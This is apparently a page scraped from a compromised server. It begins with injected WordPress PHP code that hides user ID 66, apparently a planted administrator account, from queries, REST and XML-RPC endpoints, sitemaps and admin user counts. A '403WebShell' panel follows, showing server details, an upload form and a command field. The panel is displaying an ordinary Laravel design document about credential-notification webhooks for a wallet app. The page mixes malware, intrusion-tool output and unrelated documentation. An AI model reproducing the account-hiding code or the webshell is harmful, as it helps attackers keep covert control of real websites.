add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emajiwallet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emajiwallet/CREDENTIAL_NOTIFICATION_SYSTEM.md
# Credential Notification System

## Overview

This system enables external credential issuers (like badgau.net) to automatically notify EmajiWallet users when a new credential has been issued to their DID. The implementation uses a **hybrid approach**: webhooks for immediate implementation, with architecture designed for future DIDComm v2 migration.

## Architecture Decision: Why Hybrid?

### Current Implementation: Webhooks
- ✅ **Simple to implement** - Works immediately
- ✅ **Well-understood** - Standard HTTP callbacks
- ✅ **Easy to debug** - Clear request/response logs
- ⚠️ **Requires trust** - Shared secret authentication
- ⚠️ **Centralized** - Emaji must be reachable

### Future Migration: DIDComm v2
- ✅ **Standards-based** - W3C/DIF protocols
- ✅ **Decentralized** - No central server dependency
- ✅ **Privacy-preserving** - End-to-end encrypted
- ✅ **Interoperable** - Works with any DIDComm wallet
- ⚠️ **Complex** - Requires DIDComm agents
- ⚠️ **Time investment** - Weeks to implement properly

### Migration Path
The service layer is **transport-agnostic**, meaning the same notification logic works whether messages arrive via webhook or DIDComm. To migrate:
1. Keep existing webhook endpoint active
2. Add DIDComm receiver endpoint
3. Both call `CredentialNotificationService::processCredentialNotification()`
4. Eventually deprecate webhooks when all issuers support DIDComm

## System Components

### 1. Database Schema

**Table: `credential_notifications`**

```sql
CREATE TABLE credential_notifications (
    id BIGINT PRIMARY KEY,
    user_id BIGINT FOREIGN KEY → users,
    notification_type VARCHAR, -- 'credential-issue', 'credential-offer'
    issuer VARCHAR,             -- Issuer name or DID
    credential_url VARCHAR,     -- URL to fetch full credential
    credential_data JSON,       -- Credential metadata or full VC
    message_payload JSON,       -- Original message (audit trail)
    transport VARCHAR,          -- 'webhook' or 'didcomm'
    status ENUM,                -- 'pending', 'viewed', 'imported', 'dismissed'
    received_at TIMESTAMP,
    viewed_at TIMESTAMP,
    imported_at TIMESTAMP,
    user_credential_id BIGINT FOREIGN KEY → user_credentials
);
```

### 2. Service Layer (Transport-Agnostic)

**File:** `app/Services/CredentialNotificationService.php`

Core methods:
- `processCredentialNotification($message, $transport)` - Main entry point
- `validateMessage($message)` - DID format and structure validation
- `findUserByDID($did)` - Resolve recipient from verified DIDs only
- `createNotification($user, $message, $transport)` - Store notification
- `markAsViewed($notificationId)` - User viewed notification
- `markAsImported($notificationId, $userCredentialId)` - Credential imported
- `getPendingNotifications($user)` - Fetch unread notifications

### 3. Webhook Endpoint (Current Transport)

**Route:** `POST /api/webhooks/credential-issued`

**Controller:** `app/Http/Controllers/WebhookController.php`

**Authentication Methods:**
1. **Shared Secret (Simple)** - Include `webhook_secret` in payload
2. **HMAC Signature (Recommended)** - Send `X-Webhook-Signature` header

**Request Format:**
```json
{
  "type": "credential-issue",
  "recipient_did": "did:web:emajiwallet.test:users:123",
  "issuer": "badgau.net",
  "credential": {
    "url": "https://badgau.net/credentials/abc123.json",
    "id": "urn:uuid:abc-123",
    "achievement": {
      "id": "https://badgau.net/achievements/badge-class-1",
      "name": "Healthcare Professional Certificate",
      "description": "Demonstrates competency in...",
      "image": "https://badgau.net/images/badge.png"
    }
  },
  "webhook_secret": "your-shared-secret"
}
```

**Response:**
```json
{
  "success": true,
  "notification_id": 42,
  "message": "Credential notification created"
}
```

**Error Responses:**
- `401 Unauthorized` - Invalid webhook secret
- `400 Bad Request` - Validation failed or DID not found
- `201 Created` - Success

### 4. User Interface

**Dashboard Notification Display** (`resources/views/dashboard.blade.php`)

Shows alert banner with:
- Number of pending notifications
- Credential name and description
- Issuer name
- Time received (human-readable)
- "View & Import Credential" button
- Dismissible alert

**Example:**
```
🔔 New Credentials Available (2)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Healthcare Professional Certificate
From: badgau.net
Received: 5 minutes ago
[View & Import Credential]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Advanced Nursing Skills
From: badgau.net
Received: 1 hour ago
[View & Import Credential]
```

## Setup Instructions

### For Emaji (Receiver)

**1. Configure Webhook Secret**

Add to `.env`:
```env
WEBHOOK_CREDENTIAL_ISSUED_SECRET=your-secure-random-string-here
```

Generate secure secret:
```bash
openssl rand -base64 32
```

**2. Run Migrations**
```bash
php artisan migrate
```

**3. Test Endpoint**
```bash
curl -X POST https://emajiwallet.test/api/webhooks/credential-issued \
  -H "Content-Type: application/json" \
  -d '{
    "type": "credential-issue",
    "recipient_did": "did:web:emajiwallet.test:users:123",
    "issuer": "badgau.net",
    "credential": {
      "url": "https://badgau.net/credentials/test.json",
      "achievement": {
        "name": "Test Badge",
        "description": "Test description"
      }
    },
    "webhook_secret": "your-secret"
  }'
```

### For Badgau (Issuer)

**1. When Issuing Credential to DID**

After creating credential, send webhook:

```php
// Example: After issuing OpenBadge to DID
$recipientDid = 'did:web:emajiwallet.test:users:123';
$credentialUrl = 'https://badgau.net/credentials/' . $credentialId . '.json';

Http::post('https://emajiwallet.test/api/webhooks/credential-issued', [
    'type' => 'credential-issue',
    'recipient_did' => $recipientDid,
    'issuer' => 'badgau.net',
    'credential' => [
        'url' => $credentialUrl,
        'id' => $credential->id,
        'achievement' => [
            'id' => $achievement->id,
            'name' => $achievement->name,
            'description' => $achievement->description,
            'image' => $achievement->image,
        ],
    ],
    'webhook_secret' => env('EMAJI_WEBHOOK_SECRET'),
]);
```

**2. HMAC Signature (More Secure)**

```php
$payload = json_encode($data);
$signature = hash_hmac('sha256', $payload, env('EMAJI_WEBHOOK_SECRET'));

Http::withHeaders([
    'X-Webhook-Signature' => $signature,
])->post('https://emajiwallet.test/api/webhooks/credential-issued', $data);
```

## Security Considerations

### Current Webhook Security

1. **Shared Secret** - Prevents unauthorized webhook calls
2. **HTTPS Only** - All communication encrypted
3. **DID Verification** - Only notifies users with verified DIDs
4. **Signature Validation** - HMAC prevents tampering
5. **Request Logging** - All webhooks logged for audit

### Future DIDComm Security

When migrating to DIDComm:
- **Cryptographic Authentication** - No shared secrets needed
- **End-to-End Encryption** - Message content encrypted
- **Replay Protection** - Nonce and timestamps
- **Non-Repudiation** - Cryptographic signatures

## Message Flow

### Current Flow (Webhook)

```
badgau.net                          emaji
    │                                 │
    │ 1. Issue credential to DID      │
    ├────────────────────────────────>│
    │                                 │
    │ 2. Send webhook notification    │
    ├────────────────────────────────>│
    │   POST /api/webhooks/...        │
    │   {recipient_did, credential}   │
    │                                 │
    │ 3. Verify secret & DID          │
    │<────────────────────────────────┤
    │   201 Created                   │
    │                                 │
    │                                 │ 4. Store notification
    │                                 │ 5. Display on dashboard
    │                                 │
                                      │
                            User logs in & sees alert
                                      │
                            User clicks "Import"
                                      │
                            Downloads from credential_url
```

### Future Flow (DIDComm v2)

```
badgau.net                          emaji
    │                                 │
    │ 1. Issue credential to DID      │
    ├────────────────────────────────>│
    │                                 │
    │ 2. Resolve DID document         │
    │    (find serviceEndpoint)       │
    │                                 │
    │ 3. Encrypt DIDComm message      │
    │    with recipient's public key  │
    │                                 │
    │ 4. Send to serviceEndpoint      │
    ├────────────────────────────────>│
    │   POST /api/didcomm/inbox       │
    │   {encrypted JWE message}       │
    │                                 │
    │ 5. Decrypt with private key     │
    │<────────────────────────────────┤
    │   200 OK                        │
    │                                 │
    │                                 │ 6. Process notification
    │                                 │ 7. Display on dashboard
```

## Testing

### Manual Webhook Test

```bash
# Test with valid DID
curl -X POST http://localhost/api/webhooks/credential-issued \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "type": "credential-issue",
  "recipient_did": "did:web:emajiwallet.test:users:1",
  "issuer": "Test Issuer",
  "credential": {
    "url": "https://example.com/cred.json",
    "achievement": {
      "name": "Test Credential",
      "description": "For testing"
    }
  },
  "webhook_secret": "your-secret"
}
EOF

# Expected: 201 Created
# Check: User sees notification on dashboard
```

### Integration Test Checklist

- [ ] Webhook accepts valid requests with correct secret
- [ ] Webhook rejects requests with invalid secret
- [ ] Webhook rejects requests with unverified DID
- [ ] Webhook rejects requests with invalid DID format
- [ ] Notification appears on user dashboard
- [ ] Notification shows correct credential name
- [ ] Notification shows correct issuer
- [ ] "View & Import" button links to credential_url
- [ ] Dismissing alert works correctly

## Monitoring & Logs

All webhook requests are logged:

```bash
# View webhook logs
tail -f storage/logs/laravel.log | grep "webhook"

# Successful webhook
[info] Credential issued webhook received
[info] Credential notification created notification_id=42 user_id=1

# Failed webhook
[warning] Webhook authentication failed ip=1.2.3.4
```

## DIDComm Migration Roadmap

### Phase 1: Preparation (Current)
✅ Transport-agnostic service layer
✅ Webhook implementation
✅ Message structure compatible with DIDComm

### Phase 2: DID Documents
- [ ] Add `serviceEndpoint` to user DID documents
- [ ] Example:
```json
{
  "id": "did:web:emajiwallet.test:users:123",
  "service": [{
    "id": "#didcomm",
    "type": "DIDCommMessaging",
    "serviceEndpoint": "https://emajiwallet.test/api/didcomm/inbox"
  }]
}
```

### Phase 3: DIDComm Receiver
- [ ] Create `/api/didcomm/inbox` endpoint
- [ ] Install DIDComm library (e.g., `didcomm-php`)
- [ ] Implement JWE decryption
- [ ] Parse DIDComm message format
- [ ] Call existing `CredentialNotificationService`

### Phase 4: Issuer Integration
- [ ] Coordinate with badgau.net for DIDComm support
- [ ] Both webhook and DIDComm active (transition period)
- [ ] Monitor which transport is used

### Phase 5: Deprecation
- [ ] All major issuers support DIDComm
- [ ] Deprecate webhook endpoint
- [ ] Remove shared secrets

## OpenBadges 3.0 Compatibility

This system is designed for OpenBadges 3.0 credentials:

**Expected credential structure:**
```json
{
  "@context": ["https://www.w3.org/2018/credentials/v1"],
  "type": ["VerifiableCredential", "OpenBadgeCredential"],
  "id": "urn:uuid:abc-123",
  "issuer": {
    "id": "did:web:badgau.net",
    "name": "BadGau Academy"
  },
  "credentialSubject": {
    "id": "did:web:emajiwallet.test:users:123",
    "achievement": {
      "id": "https://badgau.net/achievements/cert-1",
      "type": "Achievement",
      "name": "Healthcare Professional Certificate",
      "description": "Demonstrates competency...",
      "image": "https://badgau.net/images/badge.png"
    }
  }
}
```

The `achievement.name` and `achievement.description` are automatically extracted for display in notifications.

## Related Documentation

- [IDENTITY_VERIFICATION_IMPLEMENTATION.md](IDENTITY_VERIFICATION_IMPLEMENTATION.md) - DID verification system
- [DID_VERIFICATION_PRODUCTION_READY.md](DID_VERIFICATION_PRODUCTION_READY.md) - Cryptographic DID verification
- [DID_REGISTRATION_IMPLEMENTATION.md](DID_REGISTRATION_IMPLEMENTATION.md) - DID-based registration

## Support & Troubleshooting

### "Recipient DID not found in system"
- User must have verified DID in their identities
- Check: `SELECT * FROM user_identifiers WHERE identifier = 'did:...' AND verified_at IS NOT NULL`

### "Unauthorized" error
- Check webhook secret matches in both systems
- Verify `.env` has `WEBHOOK_CREDENTIAL_ISSUED_SECRET`

### Notification not appearing
- Check user has verified DID
- Check notification status: `SELECT * FROM credential_notifications WHERE user_id = ...`
- Check logs: `tail -f storage/logs/laravel.log`

## Configuration Reference

**Environment Variables:**
```env
# Webhook authentication secret
WEBHOOK_CREDENTIAL_ISSUED_SECRET=your-secret-here
```

**Config Files:**
- `config/webhooks.php` - Webhook settings
- `app/Services/CredentialNotificationService.php` - Core logic

**Routes:**
- `POST /api/webhooks/credential-issued` - Webhook receiver

**Models:**
- `App\Models\CredentialNotification` - Notification records
- `App\Models\UserIdentifier` - User DIDs

**Views:**
- `resources/views/dashboard.blade.php` - Notification display

Youez - 2016 - github.com/yon3zu
LinuXploit